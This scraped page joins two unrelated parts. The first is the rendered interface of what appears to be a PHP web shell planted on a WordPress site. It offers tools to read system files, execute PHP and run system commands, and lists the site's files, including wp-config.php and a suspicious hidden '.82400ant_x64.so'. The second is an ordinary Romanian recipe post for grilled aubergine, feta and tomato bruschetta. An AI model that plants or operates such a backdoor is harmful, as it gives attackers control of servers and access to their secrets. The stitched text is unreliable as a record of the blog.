📁 Advanced File Manager

📍 Current Path: 🏠 Home / var / customers / webs / alexjun
⚡ Quick Access: 🏠 Root | 💻 System Root | 🌐 Web Root | ⚙️ /etc | 👤 /home | 📦 /tmp
📤 Upload File:
➕ Create New:
🔧 Advanced Tools (Click to Expand)
📖 Read System File:
🐘 Execute PHP Code:

💻 System Command:

📂 Directory Contents:

TypeNamePermissionsSizeActions
📄 .82400ant_x64.so 0644 0.66 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 .htaccess 0644 2.26 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📁 goaccess/ 0755 -
🗑️ Delete
📄 index.php 0644 0.4 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 license.txt 0644 19.44 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 phpma 0 0 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 readme.html 0644 7.23 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📁 testing/ 0755 -
🗑️ Delete
📄 wp-activate.php 0644 7.2 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📁 wp-admin/ 0755 -
🗑️ Delete
📄 wp-blog-header.php 0644 0.34 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-comments-post.php 0644 2.27 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-config-sample.php 0644 3.26 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-config.php 0644 3.42 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📁 wp-content/ 0755 -
🗑️ Delete
📄 wp-cron.php 0644 5.49 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📁 wp-includes/ 0755 -
🗑️ Delete
📄 wp-links-opml.php 0644 2.43 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-load.php 0644 3.84 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-login.php 0644 50.63 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-mail.php 0644 8.52 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-settings.php 0644 31.88 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-signup.php 0644 33.81 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 wp-trackback.php 0644 5.09 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
📄 xmlrpc.php 0644 3.13 KB ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete
🔧 System Information (phpinfo)
Vinete marinate, brânză feta şi roşii la grătar » Bucătăria familiei mele
 O felie de pâine prăjită frecată cu usturoi şi stropită cu ulei de măsline aromat, însoțită de ingrediente simple şi gustoase este tot ceea ce iți dorești pentru ca după-amiaza ta să fie perfectă. Nelipsite de la antreuri şi de la gustări , bruschetele sunt crocante, aromate şi ușoare. 
Chiar dacă este foarte cald afară , eu cred că merită să porniți grătarul mai ales că durează foarte puţin , dar efectul lor este de durată.

                                                   Pentru 2 persoane aveți nevoie de :

– 2 vinete de mărime medie
– 2-3 roșii
– 10 frunze de busuioc proaspete
– 4 felii de pâine cu coaja mai groasă
– 75-100 gr. brânză feta 
– 2 caței de usturoi
– ulei extravirgin de măsline (aromatizat cu busuioc)*
–  sare şi piper
Spălați vinetele şi roșiile şi tăiați-le rondele groase ( cam 1 cm). Curățați usturoiul , apoi spălați, uscați şi rupeți cu mâna frunzele de busuioc. Să nu uitați să păstrați câteva frunze întregi pentru ornat.
Vinetele: Ungeți-le cu puţin ulei şi așezați-le pe grătarul încins. Ca să nu se înnegrească prea tare , întoarceți-le cât mai des. Când sunt gata scoateți-le pe un platou. Sărați şi presărați desupra busuioc şi usturoi tocat ( nu toată cantitatea , să lăsați şi pentru roșii).  Stropiți vinetele cu ulei , acoperiți cu folie transparentă şi lăsați să se odihnească timp de o oră.
 Găsiți ceva de făcut între timp.

Cam cu 10 minute înainte de a descoperii vinetele vă ocupați şi de roșii: Se sărează şi se piperează după gust.  Rondele de roșii condimentate se așează pe grătarul încins şi se frig câte 5 minute pe fiecare parte. 
Pe acelaşi grătar prăjiți şi pâinea ( sau dacă vă este mai comod folosiți un toaster) pe care o frecați apoi cu usturoi pentru aromă.
A trecut ora de marinare şi este cazul să aranjați masa.
Rondele de roșii le-am așezat deasupra feliilor de pâine prăjită, le-am stropit cu puţin ulei de măsline aromat şi le-am decorat cu feliuțe de usturoi şi busuioc.
Feliile de vinete le întoarceți şi le așezați  pe farfurie alternându-le cu feta. Ornați cu busuioc şi serviți.
Să aveţi poftă !!!
*Tip: Uleiul aromatizat cu busuioc l-am făcut în casă: Într-o sticlă sau borcan puneţi o cantitate mare de busuioc proaspăt spălat şi uscat. Umpleți recipientul folosit cu ulei de măsline extravirgin şi lăsați la macerat vreo 2 săptămâni. Dacă doriți îl puteți strecura înainte de folosire.
Mulţumesc pentru vizită !!!!

Lasă un răspuns

Adresa ta de email nu va fi publicată. Câmpurile obligatorii sunt marcate cu *

Acest site folosește Akismet pentru a reduce spamul. Află cum sunt procesate datele comentariilor tale.

Copyright Ⓒ 2010-2026 Alexandra Juncu .© All rights reserved. Acest blog e 100% homemade content: rețete testate, texte scrise cu burta goală și poze făcute înainte să se răcească mâncarea. Don’t steal my flavor – cere permisiunea înainte de a copia.